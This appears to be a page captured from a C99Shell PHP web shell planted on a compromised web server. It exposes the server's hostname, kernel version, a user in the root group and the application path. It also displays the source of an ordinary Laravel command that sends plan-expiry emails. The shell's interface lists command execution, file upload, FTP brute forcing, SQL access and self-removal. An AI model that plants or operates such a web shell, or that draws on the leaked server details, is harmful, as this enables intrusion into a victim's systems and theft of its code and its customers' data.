!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/app/Console/Commands/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpireCheck.php (3.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Console\Commands;

use 
App\Events\SendMail;
use 
App\Models\CustomerPlan;
use 
Carbon\Carbon;
use 
Illuminate\Console\Command;
use 
Illuminate\Support\Facades\Log;

class 
ExpireCheck extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'expiry:check';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'check expiry date';

    
/**
     * Create a new command instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
parent::__construct();
    }

    
/**
     * Execute the console command.
     *
     * @return int
     */
    
public function handle()
    {
        
$emailTemplate get_email_template('plan_expired');
        if (!
$emailTemplate) {
            return 
Command::FAILURE;
        }
        
$customerPlans CustomerPlan::where('status','approved')->where('is_current','yes')->whereNotNull('expired_date')->where('expiry_notified','no')->where('expired_date','<=',Carbon::now()->addDay(5))->limit(100)->get();
        foreach (
$customerPlans as $customerPlan){
            if (isset(
$customerPlan->expired_date) && $customerPlan->expired_date) {
                
$date Carbon::now();
                
$renewDate = new \DateTime($customerPlan->expired_date);
                
$diffDate $renewDate->diff($date);
                
$days $diffDate->format('%a');
                if (isset(
$customerPlan->recurring_type) && $customerPlan->recurring_type == 'monthly' || $customerPlan->recurring_type == 'yearly') {
                    if (
$days <= 5) {
                        try {
                            
$regTemp str_replace('{customer_name}'$customerPlan->customer->first_name ' ' $customerPlan->customer->last_name$emailTemplate->body);
                            
$route route('paymentgateway::email.payment.process', ['id' => $customerPlan->plan_id]);
                            
$regTemp str_replace('{click_here}'"<a href=" $route ">" trans('pay now') . "</a>"$regTemp);
                            
$regTemp str_replace('{plan_expired_date}'formatDate($customerPlan->expired_date), $regTemp);
                            
SendMail::dispatch($customerPlan->customer->email$emailTemplate->subject$regTemp);
                            
$customerPlan->update(['expiry_notified' => 'yes']);
                        } catch (
\Exception $ex) {
                            
Log::info($ex);
                            return 
Command::FAILURE;
                        }
                    }
                }else{
                    if (
$days 2) {
                        try {

                            
$regTemp str_replace('{customer_name}'$customerPlan->customer->first_name ' ' $customerPlan->customer->last_name$emailTemplate->body);

                            
$route route('paymentgateway::email.payment.process', ['id' => $customerPlan->plan_id]);
                            
$regTemp str_replace('{click_here}'"<a href=" $route ">" trans('pay now') . "</a>"$regTemp);
                            
$regTemp str_replace('{plan_expired_date}'formatDate($customerPlan->expired_date), $regTemp);
                            
// dd($customerPlan->customer->email, $emailTemplate->subject, $regTemp);
                            
SendMail::dispatch($customerPlan->customer->email$emailTemplate->subject$regTemp);
                            
$customerPlan->update(['expiry_notified' => 'yes']);
                        } catch (
\Exception $ex) {
                            
Log::info($ex);
                            return 
Command::FAILURE;
                        }
                    }
                }
            }

        }
        return 
Command::SUCCESS;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--